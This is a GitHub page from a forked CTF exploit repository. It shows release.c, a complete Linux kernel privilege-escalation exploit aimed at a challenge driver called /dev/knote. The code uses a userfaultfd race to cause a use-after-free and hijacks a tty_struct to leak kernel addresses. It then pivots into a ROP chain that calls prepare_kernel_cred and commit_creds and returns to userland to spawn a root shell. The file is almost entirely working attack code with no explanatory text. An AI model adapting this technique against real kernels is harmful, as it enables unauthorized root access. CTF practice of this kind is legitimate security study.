forked from BrieflyX/ctf-pwns
-
Notifications
You must be signed in to change notification settings - Fork 0
/
release.c
361 lines (292 loc) · 9.34 KB
/
release.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/userfaultfd.h>
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <stdint.h>
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
} while (0)
static int page_size;
int fd;
int tty_fd;
uint64_t tty_struct_addr;
unsigned long user_cs, user_ss, user_rflags;
void *stack;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory"
);
}
void get_shell() {
system("/bin/sh");
}
struct Req {
long arg;
char *ptr;
};
int add(int sz) {
struct Req req;
req.arg = sz;
req.ptr = 0x12345;
return ioctl(fd, 0x1337, &req);
}
int edit(int idx, char *buf) {
struct Req req;
req.arg = idx;
req.ptr = buf;
return ioctl(fd, 0x8888, &req);
}
int get(int idx, char *buf) {
struct Req req;
req.arg = idx;
req.ptr = buf;
return ioctl(fd, 0x2333, &req);
}
int del(int idx) {
struct Req req;
req.arg = idx;
req.ptr = 0x6789a;
return ioctl(fd, 0x6666, &req);
}
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
/* Create a page that will be copied into the faulting region */
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}
/* Loop, handling incoming events on the userfaultfd
file descriptor */
for (;;) {
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1)
errExit("read");
/* We expect only one kind of event; verify that assumption */
if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
// Write fault, used for leak
del(0);
tty_fd = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if (tty_fd < 0)
errExit("open ptmx");
struct uffdio_range range;
range.start = msg.arg.pagefault.address & ~(page_size - 1);
range.len = page_size;
if (ioctl(uffd, UFFDIO_UNREGISTER, &range) == -1)
errExit("ioctl-UFFDIO_UNREGISTER");
if (ioctl(uffd, UFFDIO_WAKE, &range) == -1)
errExit("ioctl-UFFDIO_WAKE");
} else {
// Read fault, used for overwritting fd pointer of freed object
del(0);
memset(page, 'A' + fault_cnt % 20, page_size);
//*(unsigned long int *)page = 0x100005401;
*(unsigned long int *)page = tty_struct_addr;
*(unsigned long int *)(page+8) = 0;
fault_cnt++;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
}
}
}
int main() {
// 1. Setup userfaultfd
long uffd; /* userfaultfd file descriptor */
char *addr; /* Start of region handled by userfaultfd */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
page_size = sysconf(_SC_PAGE_SIZE);
len = 2 * page_size;
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */
addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");
/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
/* Create a thread that will process the userfaultfd events */
s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
errno = s;
errExit("pthread_create");
}
// 2. Start exploit
save_stats();
stack = mmap(NULL, 0x10000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
fd = open("/dev/knote", O_RDWR);
if (fd < 0) {
perror("open");
exit(1);
}
add(0x2e0);
get(0, addr);
uint64_t leak; // 0xffffffff815d3b70
uint64_t heap;
uint64_t *ptr = addr;
uint64_t pop_rdi_ret; // 0xffffffff8116dbd1
uint64_t pop4ret; // 0xffffffff813f0233
uint64_t leave_ret; // 0xffffffff8147b735
uint64_t rax_to_rdi; // 0xffffffff811ce120: mov rdi, rax ; mov rax, rdi ; pop rbx ; pop rbp ; ret ;
uint64_t swapgs; // 0xffffffff81068f10
uint64_t iret; // 0xffffffff81036e57
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
if (ptr[0x4a] >> 32 == 0xffffffff) {
leak = ptr[0x4a];
heap = ptr[7] - 0x38;
commit_creds = leak - 0x520b30;
prepare_kernel_cred = leak - 0x5207e0;
pop_rdi_ret = leak - 0x465f9f;
pop4ret = leak - 0x1e393d;
leave_ret = leak - 0x15843b;
rax_to_rdi = leak - 0x405a50;
swapgs = leak - 0x56ac60;
iret = leak - 0x59cd19;
} else {
printf("Leak failed!\n");
exit(1);
}
printf("tty_struct: %p\n", heap);
printf("leak: %p\n", leak);
printf("commit_creds: %p\n", commit_creds);
printf("prepare_kernel_cred: %p\n", prepare_kernel_cred);
// Find a null-pointer to be fake object
tty_struct_addr = heap + 0x8;
// Reopen to reset operation numbers
close(fd);
fd = open("/dev/knote", O_RDWR);
if (fd < 0) {
perror("open");
exit(1);
}
// Another userfault page
addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
#define BUFSIZE 0x100
// Setup rop payload
// we will overwrite tty_struct with buf
// RBP points to tty_struct, then 'leave; ret' will help us to pivot stack
uint64_t buf[BUFSIZE];
memset(buf, '\0', sizeof(buf));
buf[0] = pop4ret;
buf[1] = leave_ret;
buf[2] = tty_struct_addr - 0x60 + 0x20; // struct tty_operations *
buf[3] = leave_ret;
buf[4] = leave_ret;
uint64_t rop[] = {
pop_rdi_ret,
0,
prepare_kernel_cred,
rax_to_rdi,
0,
0,
commit_creds,
swapgs,
iret,
get_shell,
user_cs,
user_rflags,
stack + 0x8000,
user_ss
};
memcpy(&buf[5], rop, sizeof(rop));
add(BUFSIZE);
edit(0, addr);
// Reopen to reset operation numbers
close(fd);
fd = open("/dev/knote", O_RDWR);
if (fd < 0) {
perror("open");
exit(1);
}
add(BUFSIZE);
add(BUFSIZE);
add(BUFSIZE);
add(BUFSIZE);
edit(0, buf);
edit(1, buf);
edit(2, buf);
edit(3, buf);
if (ioctl(tty_fd, 0xdeadbeef, 0x13371337) < 0)
errExit("ioctl tty");
close(tty_fd);
close(fd);
}